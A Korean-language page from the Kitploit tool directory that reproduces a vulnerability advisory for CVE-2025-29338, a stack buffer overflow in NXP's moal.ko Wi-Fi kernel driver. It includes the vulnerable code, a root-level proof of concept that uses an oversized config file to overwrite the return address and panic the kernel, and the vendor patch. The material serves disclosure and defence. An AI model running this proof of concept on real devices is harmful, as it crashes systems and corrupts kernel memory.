Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-29338 | Kitploit
도구/GitHubGitHub/masjadaan/cve-2025-29338
Embedded Systems SecurityVulnerability AnalysisExploitationHardware SecurityBinary Exploitation
GitHubmasjadaan/cve-2025-29338

CVE-2025-29338

저장소 보기
33개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-29338 — 보안 권고

NXP moal.ko Wi-Fi 커널 드라이버의 버퍼 오버플로 (woal_setup_module_param / parse_cfg_get_line)

필드값
CVE IDCVE-2025-29338
심각도높음
CVSS v3.1 점수7.8
CVSS v3.1 벡터CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
취약점 유형스택 기반 버퍼 오버플로 (CWE-121)
공격 벡터로컬
공급업체NXP Semiconductors
공급업체 패치 상태패치됨
발견자Mahmoud Jadaan — diconium auto GmbH

요약

NXP moal.ko Wi-Fi 커널 드라이버(버전 5.1.7.10)의 펌웨어 빌드 v17.92.1.p149.43부터 v17.92.1.p149.157까지 스택 기반 버퍼 오버플로 취약점이 존재합니다. 이 취약점은 woal_setup_module_param에서 호출되는 parse_cfg_get_line(mlinux/moal_init.c)에 있습니다. 구성 파일의 줄을 고정 크기 스택 버퍼로 읽는 while 루프에 대상 버퍼 경계 검사가 없어, 임의 길이의 줄이 버퍼를 오버플로하여 스택을 손상시키고 커널 패닉을 유발할 수 있습니다. NXP PSIRT가 이 취약점을 확인했으며 수정 사항이 릴리스되었습니다.


영향받는 제품


취약점 세부 정보

근본 원인

woal_setup_module_param은 mod_para 구성 파일을 처리하는 동안 각 반복에서 MAX_LINE_LEN 바이트의 고정 스택 버퍼를 할당하여 parse_cfg_get_line에 전달합니다:

root@kitploit:~
// woal_setup_module_param — mlinux/moal_init.c
char line[MAX_LINE_LEN];
...
while (parse_cfg_get_line(data, size, line) != -1) {
    // process line
}

취약한 버전의 parse_cfg_get_line에서 while 루프 조건은 소스 위치와 줄 종결자만 확인하며, 대상 버퍼에 기록된 바이트 수에 대한 검사는 없습니다:

root@kitploit:~
// parse_cfg_get_line — vulnerable version (mlinux/moal_init.c)
static t_size parse_cfg_get_line(t_u8 *data, t_size size, t_u8 *line_pos)
{
    t_u8 *src, *dest;
    static t_s32 pos;

    if (pos >= size) {
        pos = 0;
        return -1;
    }
    memset(line_pos, 0, MAX_LINE_LEN);
    src = data + pos;
    dest = line_pos;

    while (pos < size && *src != '\x0A' && *src != '\0') {
        if (*src != ' ' && *src != '\t')
            *dest++ = *src++;   // unchecked write — no dest bounds check
        else
            src++;
        pos++;
    }
    pos++;
    *dest = '\0';
    return strlen(line_pos);
}

MAX_LINE_LEN 바이트보다 긴 구성 파일 줄은 dest가 호출자의 스택 버퍼 끝을 넘어 진행하게 하여, 저장된 프레임 포인터와 반환 주소를 포함한 인접 스택 메모리를 덮어씁니다.


공격 벡터

속성값
유형

드라이버는 시스템 시작 시 insmod를 사용하여 구성 파일을 가리키는 mod_para 매개변수와 함께 로드됩니다. 조작된 구성 파일을 작성하고 커널 모듈을 다시 로드할 수 있는 공격자는 오버플로를 트리거할 수 있습니다.


영향

영향설명
서비스 거부커널 패닉 — 확인됨; 즉각적인 시스템 재부팅 유발
커널 메모리 손상스택 스매싱이 저장된 rbp와 반환 주소를 덮어씀
잠재적 코드 실행반환 주소 제어 — 적용된 완화 조치(스택 카나리, KASLR 등)에 따라 임의 커널 모드 코드 실행이 가능할 수 있음

CVSS v3.1 분석

기본 점수: 7.8 (높음) CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H


개념 증명

방어 및 연구 목적으로만 제공됩니다.

1단계 — 기존 모듈 언로드

root@kitploit:~
#!/bin/sh
rmmod moal
rmmod mlan

2단계 — 악성 구성 파일 생성

스택 버퍼는 A로 채워지고, 그다음 스택 카나리 슬롯용 8바이트(B), 저장된 rbp용 8바이트(C), 반환 주소를 덮어쓸 8바이트(D)가 이어집니다:

root@kitploit:~
python3 -c 'print("A"*256 + "B"*8 + "C"*8 + "D"*8)' > payload.bin

3단계 — 조작된 구성으로 모듈 로드

mod_para 경로는 커널이 펌웨어를 검색하는 디렉터리를 기준으로 한 상대 경로여야 합니다(일반적으로 /lib/firmware/). 이에 따라 경로를 구성하십시오:

root@kitploit:~
#!/bin/sh
PAYLOAD_PATH=../../<relative_path_to>/payload.bin

insmod /lib/modules/nxp9098/wifi/mlan.ko
insmod /lib/modules/nxp9098/wifi/moal.ko \
    mod_para=$PAYLOAD_PATH \
    drvdbg=0x7

4단계 — 관찰된 결과

모듈 초기화 중 커널 패닉이 즉시 트리거됩니다. 커널 로그는 반환 주소가 0x4444444444444444(ASCII DDDDDDDD)로 덮어써져 명령 포인터를 완전히 제어했음을 확인합니다:

root@kitploit:~
[insmod] Kernel panic - not syncing: stack-protector: Kernel stack is corrupted in:
         woal_setup_module_param+0xd4/0x3e4 [moal]
[insmod] 0x4444444444444444   <-- controlled return address

공급업체 패치

NXP PSIRT가 취약점을 확인하고 mlinux/moal_init.c에 대한 다음 패치를 제공했습니다. 이 수정은 parse_cfg_get_line 루프 내부에 경계 검사를 추가하여 MAX_LINE_LEN을 초과하기 전에 루프를 빠져나갑니다:

root@kitploit:~
--- a/src/wlan_src/moal/linux/moal_init.c
+++ b/src/wlan_src/moal/linux/moal_init.c
@@ -723,6 +723,10 @@ static t_size parse_cfg_get_line(t_u8 *data, t_size size, t_u8 *line_pos)
              else
                      src++;
              pos++;
+              if ((dest - line_pos) >= (MAX_LINE_LEN-1)) {
+                      PRINTM(MERROR, "input data size exceeds the dest buff limit\n");
+                      break;
+              }
       }
       /* parse new line */
       pos++;

완화 조치

위 패치가 포함된 v17.92.1.p149.157 이후 버전의 펌웨어로 업데이트하십시오. 추가 강화 조치로:

  1. 모듈 로딩 제한 — CAP_SYS_MODULE을 신뢰할 수 있는 관리자로 제한하고 SELinux, AppArmor 또는 seccomp를 통해 init_module / finit_module 시스템 콜 제한을 적용하십시오.
  2. 구성 파일 경로 보호 — mod_para가 참조하는 경로와 그 경로가 가리키는 파일이 root만 쓸 수 있도록 하십시오.

참고 자료

  • NXP mwifiex 드라이버 (GPL): https://github.com/nxp-imx/mwifiex
  • NXP 릴리스 노트: https://www.nxp.com/docs/en/release-note/RN00104.pdf

공급업체 상태

NXP PSIRT가 취약점을 확인했습니다. 수정 사항은 공식 소프트웨어 업데이트의 일부로 릴리스되었습니다.


크레딧

발견자: Mahmoud Jadaan — diconium auto GmbH


본 권고는 CVE 프로그램의 최소 CVE 공개 요구 사항을 충족하기 위한 공개 참고 자료로 게시되었습니다.

도구 다운로드
필드세부 정보
공급업체NXP Semiconductors
구성 요소moal.ko Wi-Fi 커널 드라이버
드라이버 버전5.1.7.10
펌웨어 — 최초 영향 버전v17.92.1.p149.43
펌웨어 — 마지막 영향 버전v17.92.1.p149.157
로컬
필요 권한CAP_SYS_MODULE (root 또는 이에 준하는 권한)
사용자 상호 작용없음
공격 표면mod_para 커널 모듈 매개변수 (구성 파일 경로)
메트릭값근거
공격 벡터 (AV)로컬 (L)로컬 시스템 접근 필요
공격 복잡도 (AC)낮음 (L)경쟁 조건이나 복잡한 선행 조건 없음
필요 권한 (PR)높음 (H)CAP_SYS_MODULE / root 필요
사용자 상호 작용 (UI)없음 (N)전적으로 공격자에 의해 통제됨
범위 (S)변경 없음 (U)영향이 커널 컨텍스트 내에 유지됨
기밀성 (C)높음 (H)커널 메모리 잠재적 읽기 가능
무결성 (I)높음 (H)반환 주소 덮어쓰기 입증됨
가용성 (A)높음 (H)커널 패닉 / 재부팅 확인됨